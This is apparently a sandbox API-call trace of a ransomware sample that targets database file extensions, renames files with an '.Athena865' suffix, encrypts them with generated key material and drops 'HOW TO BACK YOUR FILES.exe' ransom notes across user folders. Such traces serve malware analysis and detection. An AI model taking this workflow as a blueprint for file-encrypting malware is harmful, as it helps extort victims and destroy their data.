[0053.816] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0053.816] lstrlenW (lpString="accde") returned 5 [0053.816] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0053.816] lstrlenW (lpString="accdr") returned 5 [0053.816] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0053.817] lstrlenW (lpString="accdt") returned 5 [0053.817] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0053.817] lstrlenW (lpString="accdw") returned 5 [0053.817] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0053.817] lstrlenW (lpString="accft") returned 5 [0053.817] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0053.817] lstrlenW (lpString="adb") returned 3 [0053.817] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.817] lstrlenW (lpString="adb") returned 3 [0053.817] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.817] lstrlenW (lpString="ade") returned 3 [0053.817] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0053.817] lstrlenW (lpString="adf") returned 3 [0053.817] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0053.817] lstrlenW (lpString="adn") returned 3 [0053.817] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0053.817] lstrlenW (lpString="adp") returned 3 [0053.817] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0053.817] lstrlenW (lpString="alf") returned 3 [0053.817] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0053.817] lstrlenW (lpString="ask") returned 3 [0053.817] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0053.817] lstrlenW (lpString="btr") returned 3 [0053.817] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0053.817] lstrlenW (lpString="cat") returned 3 [0053.817] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0053.817] lstrlenW (lpString="cdb") returned 3 [0053.817] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0053.817] lstrlenW (lpString="ckp") returned 3 [0053.817] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0053.817] lstrlenW (lpString="cma") returned 3 [0053.817] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0053.817] lstrlenW (lpString="cpd") returned 3 [0053.817] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0053.817] lstrlenW (lpString="dacpac") returned 6 [0053.817] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0053.818] lstrlenW (lpString="dad") returned 3 [0053.818] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0053.818] lstrlenW (lpString="dadiagrams") returned 10 [0053.818] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0053.818] lstrlenW (lpString="daschema") returned 8 [0053.818] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0053.818] lstrlenW (lpString="db-journal") returned 10 [0053.818] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0053.818] lstrlenW (lpString="db-shm") returned 6 [0053.818] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0053.818] lstrlenW (lpString="db-wal") returned 6 [0053.818] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0053.818] lstrlenW (lpString="dbc") returned 3 [0053.818] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0053.818] lstrlenW (lpString="dbs") returned 3 [0053.818] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0053.818] lstrlenW (lpString="dbt") returned 3 [0053.818] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0053.818] lstrlenW (lpString="dbv") returned 3 [0053.818] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0053.818] lstrlenW (lpString="dbx") returned 3 [0053.818] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0053.818] lstrlenW (lpString="dcb") returned 3 [0053.818] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0053.818] lstrlenW (lpString="dct") returned 3 [0053.818] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0053.818] lstrlenW (lpString="dcx") returned 3 [0053.818] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0053.818] lstrlenW (lpString="ddl") returned 3 [0053.818] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0053.818] lstrlenW (lpString="dlis") returned 4 [0053.818] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0053.818] lstrlenW (lpString="dp1") returned 3 [0053.818] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0053.819] lstrlenW (lpString="dqy") returned 3 [0053.819] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0053.819] lstrlenW (lpString="dsk") returned 3 [0053.819] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0053.819] lstrlenW (lpString="dsn") returned 3 [0053.819] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0053.819] lstrlenW (lpString="dtsx") returned 4 [0053.819] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0053.819] lstrlenW (lpString="dxl") returned 3 [0053.819] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0053.819] lstrlenW (lpString="eco") returned 3 [0053.819] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0053.819] lstrlenW (lpString="ecx") returned 3 [0053.819] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0053.819] lstrlenW (lpString="edb") returned 3 [0053.819] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0053.819] lstrlenW (lpString="epim") returned 4 [0053.819] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0053.819] lstrlenW (lpString="fcd") returned 3 [0053.819] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0053.819] lstrlenW (lpString="fdb") returned 3 [0053.819] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0053.819] lstrlenW (lpString="fic") returned 3 [0053.819] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0053.819] lstrlenW (lpString="flexolibrary") returned 12 [0053.819] lstrlenW (lpString="fm5") returned 3 [0053.819] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0053.819] lstrlenW (lpString="fmp") returned 3 [0053.819] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0053.819] lstrlenW (lpString="fmp12") returned 5 [0053.819] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0053.819] lstrlenW (lpString="fmpsl") returned 5 [0053.819] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0053.820] lstrlenW (lpString="fol") returned 3 [0053.820] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0053.820] lstrlenW (lpString="fp3") returned 3 [0053.820] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0053.820] lstrlenW (lpString="fp4") returned 3 [0053.820] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0053.820] lstrlenW (lpString="fp5") returned 3 [0053.820] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0053.820] lstrlenW (lpString="fp7") returned 3 [0053.820] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0053.820] lstrlenW (lpString="fpt") returned 3 [0053.820] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0053.820] lstrlenW (lpString="frm") returned 3 [0053.820] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0053.820] lstrlenW (lpString="gdb") returned 3 [0053.820] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.820] lstrlenW (lpString="gdb") returned 3 [0053.820] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.820] lstrlenW (lpString="grdb") returned 4 [0053.820] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0053.820] lstrlenW (lpString="gwi") returned 3 [0053.820] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0053.820] lstrlenW (lpString="hdb") returned 3 [0053.820] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0053.820] lstrlenW (lpString="his") returned 3 [0053.820] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0053.820] lstrlenW (lpString="ib") returned 2 [0053.820] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0053.820] lstrlenW (lpString="idb") returned 3 [0053.820] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0053.820] lstrlenW (lpString="ihx") returned 3 [0053.820] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0053.820] lstrlenW (lpString="itdb") returned 4 [0053.820] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0053.820] lstrlenW (lpString="itw") returned 3 [0053.821] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0053.821] lstrlenW (lpString="jet") returned 3 [0053.821] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0053.821] lstrlenW (lpString="jtx") returned 3 [0053.821] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0053.821] lstrlenW (lpString="kdb") returned 3 [0053.821] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0053.821] lstrlenW (lpString="kexi") returned 4 [0053.821] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0053.821] lstrlenW (lpString="kexic") returned 5 [0053.821] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0053.821] lstrlenW (lpString="kexis") returned 5 [0053.821] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0053.821] lstrlenW (lpString="lgc") returned 3 [0053.821] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0053.821] lstrlenW (lpString="lwx") returned 3 [0053.821] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0053.821] lstrlenW (lpString="maf") returned 3 [0053.821] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0053.821] lstrlenW (lpString="maq") returned 3 [0053.821] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0053.821] lstrlenW (lpString="mar") returned 3 [0053.821] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0053.821] lstrlenW (lpString="marshal") returned 7 [0053.821] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0053.821] lstrlenW (lpString="mas") returned 3 [0053.821] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0053.821] lstrlenW (lpString="mav") returned 3 [0053.821] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0053.821] lstrlenW (lpString="maw") returned 3 [0053.821] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0053.821] lstrlenW (lpString="mdbhtml") returned 7 [0053.821] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0053.821] lstrlenW (lpString="mdn") returned 3 [0053.821] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0053.822] lstrlenW (lpString="mdt") returned 3 [0053.822] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0053.822] lstrlenW (lpString="mfd") returned 3 [0053.822] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0053.822] lstrlenW (lpString="mpd") returned 3 [0053.822] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0053.822] lstrlenW (lpString="mrg") returned 3 [0053.822] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0053.822] lstrlenW (lpString="mud") returned 3 [0053.822] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0053.822] lstrlenW (lpString="mwb") returned 3 [0053.822] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0053.822] lstrlenW (lpString="myd") returned 3 [0053.822] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0053.822] lstrlenW (lpString="ndf") returned 3 [0053.822] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0053.822] lstrlenW (lpString="nnt") returned 3 [0053.822] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0053.822] lstrlenW (lpString="nrmlib") returned 6 [0053.822] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0053.822] lstrlenW (lpString="ns2") returned 3 [0053.822] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0053.822] lstrlenW (lpString="ns3") returned 3 [0053.822] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0053.822] lstrlenW (lpString="ns4") returned 3 [0053.822] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0053.822] lstrlenW (lpString="nsf") returned 3 [0053.822] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0053.822] lstrlenW (lpString="nv") returned 2 [0053.822] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0053.822] lstrlenW (lpString="nv2") returned 3 [0053.822] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0053.823] lstrlenW (lpString="nwdb") returned 4 [0053.823] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0053.823] lstrlenW (lpString="nyf") returned 3 [0053.823] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0053.823] lstrlenW (lpString="odb") returned 3 [0053.823] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.823] lstrlenW (lpString="odb") returned 3 [0053.823] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.823] lstrlenW (lpString="oqy") returned 3 [0053.823] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0053.823] lstrlenW (lpString="ora") returned 3 [0053.823] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0053.823] lstrlenW (lpString="orx") returned 3 [0053.823] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0053.823] lstrlenW (lpString="owc") returned 3 [0053.823] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0053.823] lstrlenW (lpString="p96") returned 3 [0053.823] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0053.823] lstrlenW (lpString="p97") returned 3 [0053.823] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0053.823] lstrlenW (lpString="pan") returned 3 [0053.823] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0053.823] lstrlenW (lpString="pdb") returned 3 [0053.823] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0053.823] lstrlenW (lpString="pdm") returned 3 [0053.823] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0053.823] lstrlenW (lpString="pnz") returned 3 [0053.823] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0053.823] lstrlenW (lpString="qry") returned 3 [0053.823] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0053.823] lstrlenW (lpString="qvd") returned 3 [0053.823] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0053.823] lstrlenW (lpString="rbf") returned 3 [0053.823] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0053.824] lstrlenW (lpString="rctd") returned 4 [0053.824] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0053.824] lstrlenW (lpString="rod") returned 3 [0053.824] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0053.824] lstrlenW (lpString="rodx") returned 4 [0053.824] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0053.824] lstrlenW (lpString="rpd") returned 3 [0053.824] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0053.824] lstrlenW (lpString="rsd") returned 3 [0053.824] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0053.824] lstrlenW (lpString="sas7bdat") returned 8 [0053.824] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0053.824] lstrlenW (lpString="sbf") returned 3 [0053.824] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0053.824] lstrlenW (lpString="scx") returned 3 [0053.824] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0053.824] lstrlenW (lpString="sdb") returned 3 [0053.824] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0053.824] lstrlenW (lpString="sdc") returned 3 [0053.824] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0053.824] lstrlenW (lpString="sdf") returned 3 [0053.824] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0053.824] lstrlenW (lpString="sis") returned 3 [0053.824] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0053.824] lstrlenW (lpString="spq") returned 3 [0053.824] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0053.824] lstrlenW (lpString="te") returned 2 [0053.824] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0053.824] lstrlenW (lpString="teacher") returned 7 [0053.824] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0053.824] lstrlenW (lpString="tmd") returned 3 [0053.824] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0053.824] lstrlenW (lpString="tps") returned 3 [0053.824] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0053.825] lstrlenW (lpString="trc") returned 3 [0053.825] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.825] lstrlenW (lpString="trc") returned 3 [0053.825] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.825] lstrlenW (lpString="trm") returned 3 [0053.825] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0053.825] lstrlenW (lpString="udb") returned 3 [0053.825] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0053.825] lstrlenW (lpString="udl") returned 3 [0053.825] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0053.825] lstrlenW (lpString="usr") returned 3 [0053.825] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0053.825] lstrlenW (lpString="v12") returned 3 [0053.825] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0053.825] lstrlenW (lpString="vis") returned 3 [0053.825] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0053.825] lstrlenW (lpString="vpd") returned 3 [0053.825] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0053.825] lstrlenW (lpString="vvv") returned 3 [0053.825] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0053.825] lstrlenW (lpString="wdb") returned 3 [0053.825] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0053.825] lstrlenW (lpString="wmdb") returned 4 [0053.825] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0053.825] lstrlenW (lpString="wrk") returned 3 [0053.825] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0053.825] lstrlenW (lpString="xdb") returned 3 [0053.825] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0053.825] lstrlenW (lpString="xld") returned 3 [0053.825] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0053.825] lstrlenW (lpString="xmlff") returned 5 [0053.825] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0053.825] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Music\\desktop.ini.Athena865") returned 61 [0053.825] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Music\\desktop.ini" (normalized: "c:\\documents and settings\\default\\music\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Music\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\music\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0053.826] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Music\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\music\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0053.826] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=504) returned 1 [0053.826] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db10 [0053.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519998 [0053.827] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519a20) returned 1 [0053.827] CryptGenRandom (in: hProv=0x519a20, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.827] CryptReleaseContext (hProv=0x519a20, dwFlags=0x0) returned 1 [0053.828] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500, lpName=0x0) returned 0x17c [0053.838] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000 [0053.839] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519a20) returned 1 [0053.840] CryptGenRandom (in: hProv=0x519a20, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.840] CryptReleaseContext (hProv=0x519a20, dwFlags=0x0) returned 1 [0053.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0053.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0053.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.841] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.841] CloseHandle (hObject=0x17c) returned 1 [0053.841] CloseHandle (hObject=0x154) returned 1 [0053.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db10 | out: hHeap=0x4f0000) returned 1 [0053.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519998 | out: hHeap=0x4f0000) returned 1 [0053.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.841] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.841] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.841] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0053.841] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.841] ReleaseMutex (hMutex=0xec) returned 1 [0053.841] CloseHandle (hObject=0xec) returned 1 [0053.841] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\My Documents" | out: lpString1="C:\\Documents and Settings\\Default\\My Documents") returned="C:\\Documents and Settings\\Default\\My Documents" [0053.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b330 | out: hHeap=0x4f0000) returned 1 [0053.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cbe8 | out: hHeap=0x4f0000) returned 1 [0053.841] lstrlenW (lpString="C:\\Documents and Settings\\Default\\My Documents") returned 46 [0053.841] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\AB61699865E89B121F44BB8F88C15985") returned 0xec [0053.841] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.842] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\My Documents" | out: lpString1="C:\\Documents and Settings\\Default\\My Documents") returned="C:\\Documents and Settings\\Default\\My Documents" [0053.842] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.842] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\my documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.842] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\my documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.842] GetLastError () returned 0x0 [0053.842] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.842] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.842] CloseHandle (hObject=0xf4) returned 1 [0053.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.843] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.843] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\My Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7902520, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7902520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.843] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.843] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.843] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.843] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7902520, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7902520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.843] lstrcmpiW (lpString1="..", 